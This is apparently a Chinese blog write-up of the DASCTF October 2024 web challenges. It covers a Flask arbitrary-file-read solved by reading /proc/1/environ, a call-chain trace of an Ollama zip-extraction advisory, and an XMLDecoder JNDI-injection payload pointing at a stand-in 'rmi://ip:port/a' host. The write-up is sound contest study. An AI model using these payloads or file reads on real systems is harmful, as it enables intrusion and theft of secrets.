目录

  1. 1. 前言
  2. 2. CHECKIN
  3. 3. flow
  4. 4. ollama4shell(Unsolved)
  5. 5. ezlogin(Unsolved)
  6. 6. paisa4shell(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

DASCTF 2024 十月赛

2024/10/19 CTF线上赛
  |     |   总文章阅读量:

前言

web剩下3题全场零解,7小时真能做吗哥

官方wp:https://www.yuque.com/chuangfeimeiyigeren/eeii37/xn0zhgp85tgoafrz?singleDoc#

https://zer0peach.github.io/2024/10/24/DASCTF-2024%E9%87%91%E7%A7%8B%E5%8D%81%E6%9C%88/


CHECKIN

f12获取DASCTF{2024.10.19.DASCTF10.Welc0me.T0}


flow

进去发现是个任意文件读取

/proc/self/cmdline:python3 /app/main.py

/app/main.py:

from flask import Flask, request, render_template_string, abort

app = Flask(__name__)

HOME_PAGE_HTML = '''
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flask Web Application</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>
    <div class="container mt-5">
      <h1 class="display-4 text-center">Welcome to My Flask App</h1>
      <p class="lead text-center">This is a simple web app using Flask.</p>
      <div class="text-center">
        <a href="/file?f=example.txt" class="btn btn-primary">Read example.txt</a>
      </div>
    </div>
  </body>
</html>
'''

@app.route('/')
def index():
    return render_template_string(HOME_PAGE_HTML)

@app.route('/file')
def file():
    file_name = request.args.get('f')

    if not file_name:
        return "Error: No file parameter provided.", 400

    try:
        with open(file_name, 'r') as file:
            content = file.read()
        return content
    except FileNotFoundError:
        return abort(404, description="File not found.")
    except Exception as e:
        return f"Error reading file.", 500

if __name__ == '__main__':
    app.run(host="127.0.0.1", port=8080)

任意文件读取就没了?

/proc/1/environ 秒了

image-20241019100700920


ollama4shell(Unsolved)

https://github.com/advisories/GHSA-846m-99qv-67mg

跟一下漏洞代码的调用链

https://github.com/ollama/ollama/blob/main/server/routes.go#L1134

r.POST("/api/create", s.CreateHandler)

https://github.com/ollama/ollama/blob/main/server/routes.go#L620

if err := CreateModel(ctx, name, filepath.Dir(r.Path), strings.ToUpper(quantization), f, fn); errors.Is(err, errBadTemplate) {
			ch <- gin.H{"error": err.Error(), "status": http.StatusBadRequest}
		}

https://github.com/ollama/ollama/blob/main/server/images.go#L421

func CreateModel(ctx context.Context, name model.Name, modelFileDir, quantization string, modelfile *parser.File, fn func(resp api.ProgressResponse)) (err error) {
    ...
	else if file, err := os.Open(realpath(modelFileDir, c.Args)); err == nil {
				defer file.Close()

				baseLayers, err = parseFromFile(ctx, command, baseLayers, file, "", fn)
				if err != nil {
					return err
				}
			}

https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L220

func parseFromFile(ctx context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {
	sr := io.NewSectionReader(file, 0, 512)
	contentType, err := detectContentType(sr)
	if err != nil {
		return nil, err
	}

	switch contentType {
	case "gguf", "ggla":
		// noop
	case "application/zip":
		return parseFromZipFile(ctx, file, digest, fn)

https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L140

func parseFromZipFile(_ context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {
    ...
    if err := extractFromZipFile(tempDir, file, fn); err != nil {
		return nil, err
	}

https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L81

func extractFromZipFile(p string, file *os.File, fn func(api.ProgressResponse)) error {
	stat, err := file.Stat()
	if err != nil {
		return err
	}

	r, err := zip.NewReader(file, stat.Size())
	if err != nil {
		return err
	}

	fn(api.ProgressResponse{Status: "unpacking model metadata"})
	for _, f := range r.File {
		n := filepath.Join(p, f.Name)
		if !strings.HasPrefix(n, p) {
			slog.Warn("skipped extracting file outside of context", "name", f.Name)
			continue
		}

		if err := os.MkdirAll(filepath.Dir(n), 0o750); err != nil {
			return err
		}

		// TODO(mxyng): this should not write out all files to disk
		outfile, err := os.Create(n)
		if err != nil {
			return err
		}
		defer outfile.Close()

		infile, err := f.Open()
		if err != nil {
			return err
		}
		defer infile.Close()

		if _, err = io.Copy(outfile, infile); err != nil {
			return err
		}

		if err := outfile.Close(); err != nil {
			return err
		}

		if err := infile.Close(); err != nil {
			return err
		}
	}

	return nil
}

翻api文档:https://github.com/ollama/ollama/blob/main/docs/api.md

先拉个镜像下来

image-20241019155529069


ezlogin(Unsolved)

https://www.cnblogs.com/hetianlab/p/17184614.html

// LoginController
@ResponseBody
public String login(@RequestParam String username, @RequestParam String password, HttpSession session) {
    try {
        User user = UserUtil.login(username, password);
        if (user != null) {
            session.setAttribute("loggedInUser", user);
            return "{\"redirect\": \"/home\"}";
        } else {
            return "{\"message\": \"login fail!\"}";
        }
    } catch (Exception var5) {
        return "{\"message\": \"error!\"}";
    }
}

// auth/UserUtil
public static User login(String username, String password) throws Exception {
    File userFile = new File(USER_DIR, username + ".xml");
    if (!userFile.exists()) {
        return null;
    } else {
        User user = readUser(userFile);
        if (user != null && user.getPassword().equals(password)) {
            login_in = true;
            return user;
        } else {
            return null;
        }
    }
}

private static User readUser(File userFile) throws Exception {
    String content = FileUtil.readString(userFile, "UTF-8");
    int length = content.length();
    if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
        return (User)XmlUtil.readObjectFromXml(userFile);
    } else {
        System.out.printf("Unusual File Detected : %s\n", userFile.getName());
        return null;
    }
    }

目的明确,构造恶意xml在 readObjectFromXml 打反序列化,过滤了 java.springframework.hutool.,不能直接RCE,注意到有 jackson 库,可以打 jndi 注入触发 jackson 链子

生成xml的地方在这里

public static String register(String username, String password) throws Exception {
    File userFile = new File(USER_DIR, username + ".xml");
    if (userFile.exists()) {
        return "User already exists!";
    } else {
        String template = "<java>\n    <object class=\"org.example.auth.User\">\n        <void property=\"username\">\n            <string>{0}</string>\n        </void>\n        <void property=\"password\">\n            <string>{1}</string>\n        </void>\n    </object>\n</java>";
        String xmlContent = MessageFormat.format(template, username, password);
        FileUtil.writeString(xmlContent, userFile, "UTF-8");
        return "Register successful!";
    }
}

那么闭合标签在password进行构造,发现有限制长度

public static boolean check(String username, String password) {
    String usernameRe = "^[\\x20-\\x7E]{1,6}$";
    String passwordRe = "^[\\x20-\\x7E]{3,10}$";
    return username.matches(usernameRe) && password.matches(passwordRe);
}

我们要构造的payload:

<java>
  <object class="javax.naming.InitialContext">
    <void method="lookup">
      <string>rmi://ip:port/a</string>
    </void>
  </object>
</java>

这就是这题的关键了,把想要替换的内容通过登录生成JSESSIONID,然后收集这些session

最后利用那些session对同一个文件进行替换


paisa4shell(Unsolved)